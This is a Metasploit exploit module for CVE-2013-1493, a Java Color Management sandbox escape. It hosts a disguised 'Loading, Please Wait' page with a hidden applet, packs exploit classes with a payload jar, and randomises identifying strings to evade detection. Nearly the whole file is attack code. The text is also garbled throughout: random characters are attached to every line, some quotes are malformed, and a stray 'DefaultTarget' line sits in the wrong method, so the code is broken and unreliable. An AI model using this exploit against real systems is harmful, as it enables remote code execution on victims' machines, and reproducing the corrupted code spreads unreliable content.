##
/ d" i$ q& t! j, Z8 \- O1 n( n9 p) @
# This file is part of the Metasploit Framework and may be subject to s$ V3 N. W- S# n! }; K. d
# redistribution and commercial restrictions. Please see the Metasploit. u) D, q3 q0 A2 {3 l
# web site for more information on licensing and terms of use.* {; a7 L v* r7 ?
# http://metasploit.com/. ]6 G1 h6 O* T
##
- B G; h& V- e6 B) prequire ‘msf/core’
8 J A8 O* Q: ~: ]' W! Krequire ‘rex’
+ e+ G+ U% m5 y2 B. H( ?, P# F3 bclass Metasploit3 < Msf::Exploit::Remote
2 Q6 t3 Y5 W5 Q; N0 ^ ^) d1 D- [Rank = NormalRanking2 |& g0 U: H: P2 T F
include Msf::Exploit::Remote::HttpServer::HTML; ]3 s7 v" g. m) g3 [. B }+ d
include Msf::Exploit::EXE
3 q: {" S1 D+ ^0 Uinclude Msf::Exploit::Remote::BrowserAutopwn) { ~- Z% {$ y
autopwn_info({ :javascript => false })$ L% h: K! V( X6 }6 o/ \( c
def initialize( info = {} )2 B" {) [2 E6 y2 [6 r
super( update_info( info,
( S. }6 H! Q1 O& v9 k+ b3 Y‘Name’ => ‘Java CMM Remote Code Execution’,+ }3 n" |) N# S+ M
‘Description’ => %q{* G7 _! ^1 R6 z6 X1 o' z
This module abuses the Color Management classes from a Java Applet to run% L% n4 d3 x& }/ _2 l& w
arbitrary Java code outside of the sandbox as exploited in the wild in February* H3 C1 ]! D- g8 p7 P/ A) m& ~
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u413 ] c) S1 }0 w% P
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
& j d+ t6 D" K7 G b4 x: A& o8 wsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
1 y6 e5 a, K; Z: f+ y* gwarning in order to run the malicious applet.3 M5 W* N5 D& Y" c0 Q
},
3 \! m8 Z; O* O4 j, Q) w5 V‘License’ => MSF_LICENSE,
4 p9 V4 P" B$ u9 }' h‘Author’ =>1 B( A" q5 G8 _! K! Q0 Y
'Unknown', # Vulnerability discovery and Exploit
7 b) A5 {+ p3 \* q& C'juan vazquez' # Metasploit module (just ported the published exploit)
) n+ U( ] M. i" y9 L" Y],
# I, h+ Y& j# e2 D‘References’ =>, Q: j2 }# |( }4 K+ F- J
[. Y0 b5 W! K1 S' E5 g) m; Z
[ 'CVE', '2013-1493' ],
- Q$ y$ i2 P$ @) q+ ?2 w) n4 u[ 'OSVDB', '90737' ],: D; w: n- s# R# Y+ P
[ 'BID', '58238' ],
( C4 q4 I; p6 I e" z6 J5 B- C[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
4 H! B4 ^3 O& e1 W[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],0 B) }! @! |( }4 w g3 |* d
[ 'URL', 'http://pastie.org/pastes/6581034' ]
# |1 C. L2 P; g* ?+ R],, ?$ N3 b! t' P, w' h9 l
‘Platform’ => [ 'win', 'java' ],
$ V% H) c8 e' L% r. M$ ~8 `) J‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
9 q6 |; f/ c2 Q! e, s% T" M‘Targets’ =>
4 E/ a% J6 d: B0 E3 B+ ~+ k- z0 N[& p% L7 J" \& \8 \7 K: I
[ 'Generic (Java Payload)',, P* K* p5 n/ _/ a, w
{6 \$ F2 p' r3 L6 |- g, Y; @
'Platform' => 'java',7 g/ H Q5 e2 {( c) x
'Arch' => ARCH_JAVA& g' H, h8 f# z* n5 M1 [: s0 z6 O+ w
}6 X# o* h1 e. Y. E- X% y8 X( m) T
],
M( r, U% j3 m* b% }0 y[ 'Windows x86 (Native Payload)',
$ l' M) q3 Q# g# p; s, O! J% s& f{
L7 H+ }2 D2 x2 u- Y'Platform' => 'win',
* ?6 ?, }/ B9 s) _" k'Arch' => ARCH_X86
0 y- R$ Z7 h" L2 b1 G}
" Z6 k; t! r ]- ?% N$ I; _]
* R1 f) ?; \1 k& W9 [, @1 x],% F7 D$ ]* C: V) I: \3 C' s9 O
‘‘DisclosureDate’ => ‘Mar 01 2013′
$ K# F& d" s8 C( L))
: v* v7 x6 c! K5 x! ?end$ K8 x" v: V. D- Z7 o2 h1 v9 `
def setup+ c D9 e) i" h0 `/ ]
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”): |! d9 ^+ @: G2 u. y( U& u
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }! E1 C; r7 q& j
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
! u+ ~+ U* u5 S; D" `: ?@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
+ }3 {) d! C) n1 ipath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)/ g$ ~* k c+ o% x& V
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }8 B* ], y. d( i# ?9 Y, D3 D% H
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
: d* ^+ O' E. U* X+ R- [# q@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
. Y6 b" k2 f# ~8 Z1 \3 j@init_class_name = rand_text_alpha(“Init”.length)
- d, ^1 C" {' f! Q" V' D@init_class.gsub!(“Init”, @init_class_name)7 b& Y$ H7 [0 g7 e9 G$ r- ?
super, g' Q: o8 o9 h9 Z% e. H4 Z
end
& U/ Q. G. h/ ^1 hdef on_request_uri(cli, request)
1 D, \) v/ e6 Z' q* \' J+ Z* Fprint_status(“handling request for #{request.uri}”)! C) h5 [" d1 h* @
case request.uri; f5 M6 n. ^3 I! a5 K
when /\.jar$/i _3 a# {$ i( w; F( C* B) J
jar = payload.encoded_jar
% F1 j$ d+ L# h9 n3 Ljar.add_file(“#{@init_class_name}.class”, @init_class)
1 E, }, {- |9 y! z$ w7 k/ Ajar.add_file(“Leak.class”, @leak_class)
4 s" i) S% ^5 a0 c" `3 ?jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
1 U3 \' o1 `5 xjar.add_file(“MyColorSpace.class”, @color_space_class)
, R4 u6 F: V7 \DefaultTarget’ => 1,* d8 l4 V5 A/ d! ~6 |* q! f
metasploit_str = rand_text_alpha(“metasploit”.length)5 W { S& X4 m% F A; `& i
payload_str = rand_text_alpha(“payload”.length)
6 ^3 \/ b3 t' ]& _& |" X& sjar.entries.each { |entry| ?4 [5 U! V4 M* ?( U I6 y4 J
entry.name.gsub!(“metasploit”, metasploit_str)
3 _' u) T$ W( F' H: E7 Q8 C/ tentry.name.gsub!(“Payload”, payload_str)
6 E& `/ ?1 j8 a: m7 ^/ ^entry.data = entry.data.gsub(“metasploit”, metasploit_str)
& o J, A3 _* Rentry.data = entry.data.gsub(“Payload”, payload_str)+ |) s6 s0 }9 {( S0 t- o& B
}
% q, A: Q! m: C4 R$ }( [- H( Ujar.build_manifest
* U0 B% L4 v0 c+ r9 csend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })% Q$ a; r! b3 x
when /\/$/
; s$ n1 N6 Y6 v& |; `0 h Q6 f6 \3 zpayload = regenerate_payload(cli)0 E) h( C6 m* E3 F
if not payload
0 m% W0 Q( b/ T- C5 x/ _print_error(“Failed to generate the payload.”)+ ~- M% S, }# k* }2 _7 F
send_not_found(cli)1 \, N2 }& q5 F( F
return# T8 p# M0 [' f& C* ]
end/ l1 z. _2 c" A& Q' K
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })! q' e! [ Q; J4 h" R
else0 ~* d3 ^; Q# V! \
send_redirect(cli, get_resource() + ‘/’, ”)& a6 k$ @3 |3 N! L* }' A) U
end
4 P5 @* B' e* V4 Iend9 O# T& x& A+ |, P; ]
def generate_html2 m6 S( z- G/ g1 b/ h/ A
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|: O/ E( o1 P6 f9 Q! e) S
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|* V1 m4 e, s1 s& g
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|) V2 S7 E5 V3 }; E
html += %Q|</applet></body></html>|
, Q" Q$ X1 w" [6 R: {0 L k$ freturn html& [: S7 d& D B1 c" U
end/ R2 O' R; G2 R- w- ^' q
end5 M" Y: S4 h' \8 G. R/ P
end
3 i# r+ ?0 s7 f# Z |